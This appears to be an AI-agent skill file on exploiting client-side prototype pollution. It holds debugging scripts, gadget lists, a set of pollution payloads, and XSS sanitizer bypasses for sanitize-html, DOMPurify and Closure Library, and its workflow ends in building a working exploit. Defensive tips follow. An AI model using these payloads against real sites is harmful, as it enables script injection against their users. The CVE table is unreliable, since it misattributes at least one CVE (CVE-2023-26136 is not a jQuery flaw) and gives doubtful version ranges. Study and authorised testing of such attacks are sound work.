| name | client-side-prototype-pollution |
| description | How to discover, debug, and exploit client-side prototype pollution vulnerabilities in JavaScript applications. Use this skill whenever the user mentions prototype pollution, __proto__, constructor.prototype, Object.prototype, or wants to find XSS via prototype pollution in web applications. Also use when debugging JavaScript vulnerabilities, analyzing JS libraries for pollution sinks, or when the user needs to generate prototype pollution payloads for security testing. |
Client-Side Prototype Pollution
A skill for discovering, debugging, and exploiting client-side prototype pollution vulnerabilities in JavaScript applications.
When to Use This Skill
Use this skill when:
- The user wants to find prototype pollution vulnerabilities in a web application
- The user needs to debug where a polluted property is being set or accessed
- The user wants to generate payloads for testing prototype pollution
- The user is analyzing JavaScript libraries for pollution sinks
- The user needs to understand how to bypass HTML sanitizers via prototype pollution
- The user mentions
__proto__, constructor.prototype, Object.prototype, or similar patterns
Discovery Methods
Automated Tools
Use these tools to automatically detect prototype pollution:
Manual Discovery
Search for these keywords in Chrome DevTools:
location.hash
location.search
decodeURIComponent
JSON.parse
Object.assign
_.merge (lodash)
deepMerge
Debugging Prototype Pollution
Break on Property Access
Use this script in Chrome DevTools to find where a property is accessed:
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})
Find Root Cause
- Get a payload from a tool (e.g.,
constructor[prototype][ppmap]=reserved)
- Set breakpoint at first line of JS code
- Refresh page with payload
- Run this script in console:
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}
debugAccess(Object.prototype, "ppmap")
- Resume execution and examine the call stack
- Target stacks in library files (not minified app code)
- The first occurrence in the stack is usually the root cause
Finding Gadgets
A gadget is code that gets abused once pollution is discovered.
Search for These Keywords
srcdoc
innerHTML
iframe
createElement
eval
Function
setTimeout
setInterval
Browser-Built-In Gadgets (2023+)
These work on every page in modern browsers:
| Gadget Class | Property | Effect |
|---|
URL | href | JS execution via new URL() |
Notification | title | Alert via notification click |
Worker | name | JS in dedicated Worker |
Image | src | Traditional onerror XSS |
URLSearchParams | toString | DOM-based Open Redirect |
Example: URL Gadget
Object.prototype.href = 'javascript:alert(`polluted`)' ;
new URL('#');
HTML Sanitizer Bypasses
sanitize-html
Object.prototype.innerHTML = '<img/src/onerror=alert(1)>';
DOMPurify
Object.prototype.after = '<img/src/onerror=alert(1)>';
Closure Library
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src="https://google.github.io/closure-library/source/closure/goog/base.js"></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
Payload Generation
Common Payload Patterns
__proto__[polluted]=1
constructor[prototype][polluted]=1
?__proto__[polluted]=1
?constructor[prototype][polluted]=1
{"__proto__": {"polluted": 1}}
{"constructor": {"prototype": {"polluted": 1}}}
#__proto__[polluted]=1
Library-Specific Payloads
lodash < 4.17.22:
__proto__[polluted]=1
jQuery 3.6.0-3.6.3:
#__proto__[polluted]=1
DOMPurify ≤ 3.0.8:
__proto__[after]=<img/src/onerror=alert(1)>
Notable CVEs
| CVE | Library | Version | Impact |
|---|
| CVE-2024-45801 | DOMPurify | ≤ 3.0.8 | Stored XSS via after |
| CVE-2023-26136 | jQuery | 3.6.0-3.6.3 | Arbitrary prototype pollution |
| CVE-2023-26140 | jQuery | 3.6.0-3.6.3 | Arbitrary prototype pollution |
| N/A | sanitize-html | < 2.8.1 | XSS via innerHTML |
Defensive Measures
For Developers
-
Freeze prototypes early:
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Map.prototype);
-
Use structuredClone() instead of deep merge:
const copy = structuredClone(obj);
-
Use safe merge libraries:
- lodash ≥ 4.17.22
- deepmerge ≥ 5.3.0
-
Add Content-Security-Policy:
Content-Security-Policy: script-src 'self';
For Security Testers
- Always test with and without the skill to compare results
- Document the exact pollution path (source → sink)
- Verify the gadget actually executes (not just pollution)
- Check for stored vs reflected vs DOM-based vectors
Workflow
- Discover - Use automated tools or manual search
- Debug - Find where pollution occurs using breakpoints
- Identify Gadget - Find code that reads polluted properties
- Generate Payload - Create working exploit
- Verify - Confirm execution (alert, network request, etc.)
- Document - Record the full chain for reporting
References